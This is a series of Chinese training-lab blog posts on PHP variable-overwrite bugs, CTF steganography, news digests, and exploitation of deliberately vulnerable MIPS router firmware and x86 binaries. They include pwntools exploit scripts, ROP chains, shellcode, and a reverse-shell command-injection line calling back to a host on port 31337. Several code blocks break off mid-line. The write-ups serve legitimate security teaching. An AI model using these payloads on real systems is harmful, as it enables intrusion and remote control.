细说变量覆盖那些事
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  前言 最近在挖洞和看一些ctf题目中可以看到一些变量覆盖的知识点,之前对这个方面学习的有点不全面,虽然网上有这方面的文章,但是感觉讲的不是很全面,所以就决定写一篇文章来总结这方面的知识。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID3ec0-232d-4e11-8cb0-52a8620c51ee  (通过该实验,详细了解PHP中变量覆盖漏洞相关的知识。如:$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。) 漏洞原理 变量覆盖是指可以用自己的传参值代替程序原有的变量值。 漏洞寻找 例如下面的函数或者语法使用不当时就会出现漏洞。 $ extract() parse_str() import_request_variables() mb_parse_str register_globals 漏洞解析 这里先分析函数,再分析漏洞。 extract() 原理 extract()函数从数组中将变量导入到当前的符号表。 例如 <?php $a = "eeknight"; $my_array = array("a" => "C","b" => "T", "c" => "F"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c"; ?> 输出: $a = C; $b = T; $c = F 攻击手段 这里先举个例子 <?php $a="echo 'eeknight';"; echo $a; echo "\n"; eval($a); ?> 输出: echo 'eeknight'; eeknight 在上面双引号包裹了单引号,然后通过eval去利用他,就可以直接输出单引号里的东西了。 为什么要说这个东西,因为当你单引号里的东西可以被利用,是不是就可以写什么执行什么了。 怎么利用呢,这时候刚才介绍的extract就发挥作用了。 把上面的例子简单改一下 <?php $a="echo 'eeknight';"; extract($_GET); eval($a); ?> $ 原理 $产生的漏洞主要是因为foreach遍历数组的值,然后将获取的数组键名作为变量,数组中的值作为变量的值。 在这先简单介绍一下foreach和$。 foreach循环只适用于数组,并用于遍历数组中的每个键/值对。 <?php $colors = array("red","green","blue","yellow"); foreach ($colors as $value) { echo "$value \n"; } ?> 输出:red green blue yellow $这里举个栗子 在PHP中,$var表示一个名为var的普通变量,它存储字符串、整数、浮点等任何值。而$var是一个引用变量,用于存储$var的值。 在我看来就是套娃。 <?php $var = "ee"; $var = "eeknight"; echo $var ; echo "\n"; echo $var; echo "\n"; echo "$ee"; ?> 输出:ee eeknight eeknight parse_str() parse_str()把查询字符串解析到变量中。 parse_str(string,array) string 必需。规定要解析的字符串。 array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 <?php parse_str("name=eeknight&age=20"); echo $name."\n"; echo $age; ?> 输出:eeknight 20 攻击方式 通过上面的例子,可以想到,如果parse_str()括号是GET,PSOT等之类的,我们是不是就可以直接执行我们要的函数。 mb_parse_str mb_parse_str— 解析 GET/POST/COOKIE 数据并设置全局变量 具体的用法和上面的parse_str()一样。 这里就不多说明了。 import_request_variables() import_request_variables()函数将 GET/POST/Cookie 变量导入到全局作用域中。 <?php import_request_variables("gP", "ee_"); echo $ee_knight; ?> 攻击方式 只要利用了这个函数,就可以直接对里面的变量进行赋值。 register_globals register_globals的意思就是注册为全局变量 当php.ini中register_globals=On时,传递过来的值会被直接注册为全局变量,当为off时,需要到特定的数组中去得到 例子 <?php echo "Register_globals: ".(int)ini_get("register_globals")."<br/>"; if ($auth){ echo "hello!"; } ?> ON OFF 这里ON-->OFF的转换时记得重启一下apache。 一些附加说明 为什么echo "\$a = $a; \$b = $b; \$c = $c";这里要加上\呢 解:这些斜杠的的意思就是,让后面的变量失去意义。那么写的是什么就是什么。 parse_str() php.ini文件中的magic_quotes_gpc设置影响该函数的输出。如果已启用,那么在parse_str()解析之前,变量会被 addslashes() 转换。 import_request_variables() 该函数在最新版本的 PHP 中已经不支持。 支持的版本:PHP 4 >= 4.1.0, PHP 5 < 5.4.0。 register_globals register_globals从php5.3.0起废弃,并从php5.4.0时移除。 漏洞防御 addslashes() addslashes()在每个双引号(")前添加反斜杠。 使用原始变量,不进行变量注册; 验证变量存在,如果一定要进行变量注册,可以在注册变量前先判断变量是否存在。
Stegano 3个音频隐写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  进入实验地址https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID172.19.104.182014121211154100001。 先看第一类题查看频谱图使用Audacity打开sound1.wav文件。 用Audacity这个工具打开就是因为Audacity提供的强大的音频分析功能,包括波形图、频谱图等各种图形可视化效果。 Audacity默认显示的是音频文件左右两个声道的波形图,我们可以尝试切换到频谱图进行分析,操作步骤为:在Audacity中点击第一个声道的波形图左侧的文件名(这里为sound1),在弹出的菜单中选择“频谱图”,就可以切换到频谱图模式了,如图所示: Get到flag一枚,神奇。 再来看题,使用Audacity打开sound2.wav文件,仔细听其中发出的声音,发现前面半段音频发出的声音很难挺清楚在说什么,而后面半段则可以清晰的听到一段英文发音。 听是不可能听出来的,这里音频可是被反向了,在Audacity中,选择“特效”、“反向”菜单项,然后播放反向之后的音频,如图所示: 处理之后,就可以清晰的听到声音the flag is high_level_encryption,这就是我们所要找的Flag字符串了。 还有一种。 继续看第三种使用Audacity打开sound3.wav文件,发现左右两个声道的波形图完全不一样,其中第一个波形图只在时间轴的中间部分存在一些有规律的小点,而第二个波形图则是正常的声音波形图,如下图所示: 按下键盘左下角的Ctrl按键,同时滚动鼠标滚轮,对波形图进行放大操作,其中第一个波形图放大后如图所示: 这种就是摩尔斯电码,这里考的也是摩尔斯电码,其中较短的波形表示点“.”,而较长的波形则表示横线“-”,而间隔较远的两个波形图则认为是两个不同的摩斯码。因此,第一个声道的波形图可以表示为:..... -... -.-. ----. ..--- ..... -.... ....- ----. -.-. -... ----- .---- ---.. ---.. ..-. ..... ..--- . -.... .---- --... -.. --... ----- ----. ..--- ----. .---- ----. .---- -.-. 使用JPK进行解码,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串5BC925649CB0188F52E617D70929191C,如图所示: 注意摩斯码不区分大小写,JPK默认转换为大写形式,所以如果得到的字符串提交不正确,可以尝试转换为小写形式提交。 这道题有3个问题,每一个都要仔细才能得出答案。和上次的隐写题一样,利用工具分析音频,再输入摩斯码就可以得出答案了。 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
网络安全日报 2021年03月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Zoom 存在敏感数据泄露漏洞 https://threatpost.com/zoom-glitch-leaks-data/164876/ 2、攻击者利用F5 BIG-IP 最近的高危漏洞进行攻击 https://threatpost.com/critical-f5-big-ip-flaw-now-under-active-attack/164940/ 3、CISA发布检测SolarWinds恶意活动的工具 https://securityaffairs.co/wordpress/115821/security/cisa-chirp-solarwinds-tool.html 4、Acer遭REvil勒索软件攻击并索取5000万美元赎金 https://securityaffairs.co/wordpress/115777/cyber-crime/acer-revil-ransomware.html 5、Defender现在可以保护服务器免受Exchange漏洞攻击 https://securityaffairs.co/wordpress/115801/hacking/microsoft-defender-microsoft-exchange.html 6、研究人员发现恶意加密程序OnionCrypter https://decoded.avast.io/jakubkaloc/onion-crypter/ 7、波兰国家网站遭黑客入侵被用来传播虚假信息 https://www.securityweek.com/polish-state-websites-hacked-and-used-spread-false-info 8、虚假PlayStation 5赠品网站窃取用户详细信息 https://www.technadu.com/dont-be-fooled-fake-playstation-5-giveaways/256837/ 9、虚假的Android Clubhouse应用从458个服务中窃取凭证 https://threatpost.com/android-clubhouse-app-malware/164915/ 10、新的Office 365网络钓鱼攻击针对保险和金融行业高管 https://threatpost.com/office-365-phishing-attack-financial-execs/164925/
从DVRF靶机学习固件安全
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  DVRF 项目介绍 该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有,请不要担心!可以用 qemu 模拟。 项目地址:https://github.com/praetorian-inc/DVRF 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDd6d0-f3ad-47c1-9d14-8a29aecc8b4e  (通过本次实验学习如何在固件被加密的情况下进行解密,使得固件层面的路由器安全研究顺利进行。) 模拟环境 主要是用 ubuntu 16 ,如果部分题目用 qemu-user 模拟不了,就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址,问题不大只是查询方法饶了一点,还是可以解决的。 ubuntu 16.04 pwndbg Qemu-static(version 2.11.1) gdb-multiarch attify 3.0 下载地址:https://github.com/adi0x90/attifyos stack_bof_01 获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950 : Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见: 直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。 其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分: 调试方法 需要打开几个 terminal 启动不同的命令: 启动 qemu 模拟 -strace 查看 qemu 调试信息,方便观察执行了什么命令 qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa gdb-multiarch gdb-multiarch ./pwnable/Intro/stack_bof_01 set architecture mips set endian little target remote :1234 连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。 EXP 字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数 # file_name: stack_bof_01.py from pwn import * context.binary = "./pwnable/Intro/stack_bof_01" context.arch = "mips" context.endian = "little" backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4 payload += p32(backdoor) with open("stack_bof_01_payload","w") as file: file.write(payload) 命令行执行: sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`" stack_bof_02 和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy : main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址 直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断(只有不包含截断符指令都行),尝试后无果。 查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。 构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。 libc路径:/squashfs-root/lib/libc.so.0 先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1") 控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10 : .text:0002FB10 li $a0, 1 .text:0002FB14 move $t9, $s1 .text:0002FB18 jalr $t9 ; sub_2F818 接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1") 结果有很多,最后选了 gadget2 = 0x00007730 : .text:00007730 lw $ra, 0x18+var_s10($sp) .text:00007734 lw $s3, 0x18+var_sC($sp) .text:00007738 lw $s2, 0x18+var_s8($sp) .text:0000773C lw $s1, 0x18+var_s4($sp) .text:00007740 lw $s0, 0x18+var_s0($sp) .text:00007744 jr $ra 至此 a0 被控制为 1 ,目前 payload 结构为: payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += "????"#s1 payload += "bbbb"#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra 不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。 mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C : .text:00020F1C move $t9, $s2 .text:00020F20 lw $ra, 0x18+var_sC($sp) .text:00020F24 lw $s2, 0x18+var_s8($sp) .text:00020F28 lw $s1, 0x18+var_s4($sp) .text:00020F2C lw $s0, 0x18+var_s0($sp) .text:00020F30 jr $t9 解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转,payload 结构: payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += "cccc"#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += "????"#ra mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 : .text:00016DD0 addiu $a0, $sp, 0x38+var_20 .text:00016DD4 move $t9, $s0 .text:00016DD8 jalr $t9 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a 最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find("move $t9,$a0)") 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够…… .text:000214A0 move $t9, $a0 .text:000214A4 sw $v0, 0x30+var_18($sp) .text:000214A8 jalr $t9 最后跳转 shellcode 时,0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += p32(gadget5)#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32 EXP from pwn import * context.binary = "./pwnable/ShellCode_Required/stack_bof_02" context.arch = "mips" context.endian = "little" # libc_base = 0x766e5000 sleep = 0x767142b0#0x2F2B0+0x766e5000 gadget1 = 0x76714b10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x766ec7 socket_bof 这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。 #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> // Pwnable Socket Program // By b1ack0wl // Stack Overflow int main(int argc, char **argv[]) { if (argc <2){ printf("Usage: %s port_number - by b1ack0wl\n", argv[0]); exit(1); 栈溢出在这句 sprintf(endstr, "nom nom nom, you sent me %s", str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51 调试方法 在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。 # terminal 1 sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884 # terminal 2 gdb-multiarch set architecture mips set endian little target remote :1234 另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。 attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址 曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址 全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。 Stack_bof_02 的 execve('/bin/sh') 能打通 找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口 绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。 反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip 将 ip 地址转换成 16 进制 hex(192)#0xc0 hex(168)#0xa8 hex(1) #0x01 hex(177)#0xb1 #192.168.1.177==>0xB101A8C0 编译一下,编译失败看看是不是 binutils 没装 from pwn import context.arch = "mips" context.endian = "little" asm("li $a1, 0xB101A8C0") 然后搜索 \x01\xb1\x05\x3c\xc0\xa8\xa5\x34 替换为自己编译的: stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x0 EXP #!/usr/bin/python from pwn import * context.arch = 'mips' context.endian = 'little' libc_addr = 0x4089b000#0x766e5000 sleep = 0x0002F2B0 gadget1 = 0x2fb10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x7730 ''' 0x766ec730: lw ra,40(sp) 0x766ec734: lw s3,36(sp) 0x7 socket_cmd EXP 依次打开终端运行 #terminal 0 qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999 #terminal 1 nc -lvvp 31337 #tarminal 2 nc 127.0.0.1 9999 hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"` 是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root Uaf_01&heap_overflow 剩下两题 heap_overflow 和 uaf_01 没有什么思路,都是输入一次然后程序就退出了。 uaf_01 重新申请相同 0x11 ,就跳转 Awesome 那个分支,但没啥用。 heap_overflow 有个后门,输入机会只有一次,然后程序就会关掉。 参考文章 https://ctf-wiki.org/pwn/linux/mips/mips_rop/https://xz.aliyun.com/t/1511https://www.cnblogs.com/hac425/p/9416864.html 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF Stegano练习之隐写初探
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天要介绍的是CTF练习中的Stegano隐写题型。做隐写题的时候,工具是很重要的,接下来介绍一些工具。 1、TrID TrID是一款根据文件二进制数据特征进行判断的文件类型识别工具。虽然也有类似的文件类型识别工具,但是大多数都是使用硬编码的识别规则,而TrID则没有固定的匹配规则,TrID具有灵活的可扩展性,可以通过训练来进行文件类型的快速识别。 TrID通过附加的文件类型指纹数据库来进行匹配,可用于取证分析、未知文件识别等用途。 2、Audacity Audacity是一款自由且免费的音频编辑器和录音器。它是在Linux下发展起来的,有着傻瓜式的操作界面和专业的音频处理效果。使用Audacity可以帮助我们快速解决CTF中一些音频相关的题目。 这个实验还需要了解一些摩尔斯电码。 摩尔斯电码(Morse Code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。是由美国人萨缪尔·摩尔斯在1836年发明。 摩斯码使用点(.)和横线(-)来表示各种字符,我们只需要知道某一串字符是摩斯码,然后使用解码工具进行解码即可。 实验内容和步骤 本次实验链接地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121211151300001 来看实验描述:在实验主机上的C:\Stegano\1目录下为本题所提供的文件,请对这些文件进行分析,找到一个flag{XXXX}形式的Flag字符串。 来看实验打开cmd命令行,切换到C:\Stegano\1目录,然后使用TrID对其进行文件类型识别,如图所示: TrID对该文件的识别结果为:85.7%的可能性为XZ文件,14.2%的可能性为QuickBasic BSAVE文件。我们通过搜索引擎可以了解到XZ文件是一种压缩文件,因此可以使用7Zip进行解压(实验机器已经安装7Zip,右键选择通过7Zip解压即可)。 解压之后我们得到新文件hello_forensics~,仍然是一个没有扩展名的文件,我们再次使用TrID进行识别,得到的结果如图所示: TrID认为这是一个OGG文件。OGG是一种音频文件格式,大家如果平时有留意的话,在手机上一定见过这样的文件,许多手机内置的音效就是以OGG文件格式存在的。 接下来就是要用到我之前提到的Audacity,使用桌面上的Audacity工具打开我们提取出来的OGG文件,默认会显示音频文件左右两个声道的波形图,如图所示: 按住键盘左下角的Ctrl按键,同时滚动鼠标滚轮即可对波形图进行放大或者缩小操作,这里我们将波形图进行放大,然后播放OGG文件,我们发现在中间的某一个区间内夹杂着一些“滴滴”的声音,实际上这里是播放的摩斯码,通过对声道的波形图观察,可以看到如下的特征:(实验时可能无法通过远程桌面听到实验机器发出的声音,因此这里提供原始题目文件以及相关工具的下载,地址为http://heetian.qiniudn.com/steg.txt,大家可以下载下来在本地测试) 在Audacity中,将波形图放得越大,就越能明显的看到对应的摩斯码特征,通过对声音波形图的分析,我们可以得到摩斯码(摩斯码从第18秒开始播放,如果两段“滴滴”声之间的时间间隔在7~8秒左右,则认为是两个不同的摩斯码之间的分隔,用空格表示,如果两段“滴滴”声之间的时间间隔在2~3秒左右,则认为是同一个摩斯码的内容)。分析后得到的摩斯码为“.- ... - .- .-. .. ... -... --- .- .-. -.”,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串ASTARISBOARN。 通过实验步得到字符串ASTARISBOARN,将其当做密码对压缩包进行解压测试,发现可以成功解压,得到一个PDF文件。这个PDF文件直接看上去似乎没有什么有用的信息,但是对其中的文字进行选择操作的时候,发现页眉和页脚中似乎有一些不可见的文字,如图所示: 这里我们通过Ctrl+A对其中的文本进行全选,然后粘贴到记事本里面去,得到两个可疑的字符串: VjIweE5HRkdiM3BrUnpGT1UwVndjMWx0Y0ZkalJtd zJWbTFhYUZkRk5XMVhiVFZYWkZWc1dVMUVNRDA9 我们解密一下,将两个字符串拼接起来后进行Base64解码,得到另一个字符串V20xNGFGb3pkRzFOU0Vwc1ltcFdjRmw2Vm1aaFdFNW1XbTVXZFVsWU1EMD0=,仍然是Base64加密,经过这样的几次Base64解码之后,最后得到字符串flag{f0ren5ic5_is_fun!},这就是题目所要求要找的Flag字符串了。 CTF真是防不胜防,还顺便了解一下摩尔斯电码。这次实验真的是很有意思,解题过程比较简单,但是思路很重要。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年03月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新的XcodeSpy Mac恶意软件针对软件开发人员 https://www.securityweek.com/new-xcodespy-mac-malware-targets-software-developers 2、遭拆除5个月后,TrickBot仍然活跃 https://www.securityweek.com/five-months-after-takedown-attempt-cisa-and-fbi-warn-ongoing-trickbot-attacks 3、研究人员发现TikTok Android应用RCE漏洞 https://securityaffairs.co/wordpress/115714/hacking/rce-tiktok-android-app.html 4、研究人员发现在Twitter图片中隐藏zip、mp3文件的方法 https://threatpost.com/researcher-hides-files-in-png-twitter/164881/ 5、MyBB报告了严重的RCE漏洞 https://thehackernews.com/2021/03/critical-rce-flaw-reported-in-mybb.html 6、Google透露Chrome及其应用收集哪些个人数据 https://thehackernews.com/2021/03/google-to-reveals-what-personal-data.html 7、Mekotio Tojan使用AutoHotKey逃避检测和窃取用户信息 https://cyware.com/news/mekotio-tojan-is-using-autohotkey-to-avoid-detection-d9d237d4 8、WordPress Tutor LMS 插件存在多个SQL注入高危漏洞 https://threatpost.com/tutor-lms-wordpress-security-holes/164868/ 9、钓鱼邮件冒充美国国税局分发Dridex银行木马 https://threatpost.com/covid-19-relief-checks-dridex-malware/164853/ 10、Descartes Aljex软件公司泄露了103 GB的数据 https://www.hackread.com/shipping-management-software-firm-data-online/
CTF PWN练习之绕过返回地址限制
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  先介绍一些这个实验要知道的一些东西 builtin_return_address函数 builtin_return_address函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址。还有多层跳转retn指令从栈顶弹出一个数据并赋值给EIP寄存器,程序继续执行时就相当于跳转到这个地址去执行代码了。如果我们将返回地址覆盖为一条retn指令的地址,那么就又可以执行一条retn指令了,相当于再在栈顶弹出一个数据赋值给EIP寄存器。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110316261100001 先仔细看一下题目描述。主机/home/test/7目录下有一个pwn7程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后会产生对应的输出信息并直接退出,然而当输入一定的数据量时,可能会提示bzzzt的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/sh: \xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81 请对pwn7程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之执行上面提供的Shellcode。 因为这个题目直接覆盖返回地址跳转到Shellcode执行是不行的,程序队返回地址进行了一点限制,学会绕过对返回地址的保护限制,以达到执行特定Shellcode的目的。所以看上去会难一些 我们先进行代码审计。 使用cd /home/test/7切换到程序所在目录,执行cat pwn7.c即可看到源代码: #include <stdio.h> #include <stdlib.h> #include <unistd.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if ((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char** argv) { getpath(); return 0; } getpath函数中定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写。但是也可以看到这里对返回地址和0xbf000000进行与操作,如果高位字节是0xbf的话,那么程序就会退出。 执行gdb pwn7即可开始通过gdb对pwn7进行调试,现在我们需要阅读getpath函数的汇编代码,在gdb中执行disas getpath命令即可。 类似实验《CTF PWN练习之返回地址覆盖》,我们可以通过执行如下的指令来计算覆盖返回地址需要的字节数: 上图中红色线条框起来的就是我们执行的gdb命令,粉红色线条框起来的是我们下断点的地址,蓝色线条框起来的是我们想要查看的两个寄存器的值,有: 0xffffd6bc - 0xffffd66c,那么这两个地址的差为80。 也就是说,在覆盖了80字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。现在因为对返回地址进行了限制,我们显然不能直接跳转到栈上执行代码,因为这里Shellcode的地址的最高字节为0xff,有0xff & 0xbf == 0xbf,因此无法通过保护限制。 这里采用两次跳转的方法来突破这个限制。我们可以将一条retn指令的地址来覆盖函数的返回地址,比如getpath的最后一条指令为: 0x080484e9 <+117>: ret 那么,0x080484e9 & 0xbf000000 = 0x08000000,可以绕过保护限制,我们让这条retn指令执行时,从栈上取到的数据为Shellcode的地址,就可以执行Shellcode了。那么,我们构造的输入数据应该是这样的: 在gdb调试器下调试pwn7程序时,只要合理控制输入数据的第81~84字节的内容,就可以实现对函数返回地址进行覆盖,我们可以将返回地址填充为0x080484e9来实现执行一条retn指令。 同时,我们将第85~88字节覆盖为Shellcode的地址。即0xffffd6bc+4+4 = 0xffffd6c4,我们对输入数据的构造的布局如下: 在/home/test/7目录下有一个pwn7.py的Python脚本,其源代码如下: shellcode = ("\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe" + "\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff" + "\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69" + "\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81") print 'A'*80 + '\xe9\x84\x04\x08' + '\xc4\xd6\xff\xff' + shellcode 在Shell下执行python pwn7.py > test将输出数据写入test文件,然后再次使用gdb调试pwn7程序,gdb载入pwn7程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn7程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程: PWN练习还是很有难度的,总的来说比之前接触的实验上了一个档次,不过话说回来,咱们有关PWN题型的练习也告一段落了,接下来要开始接触新的知识了。 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
网络安全日报 2021年03月18日
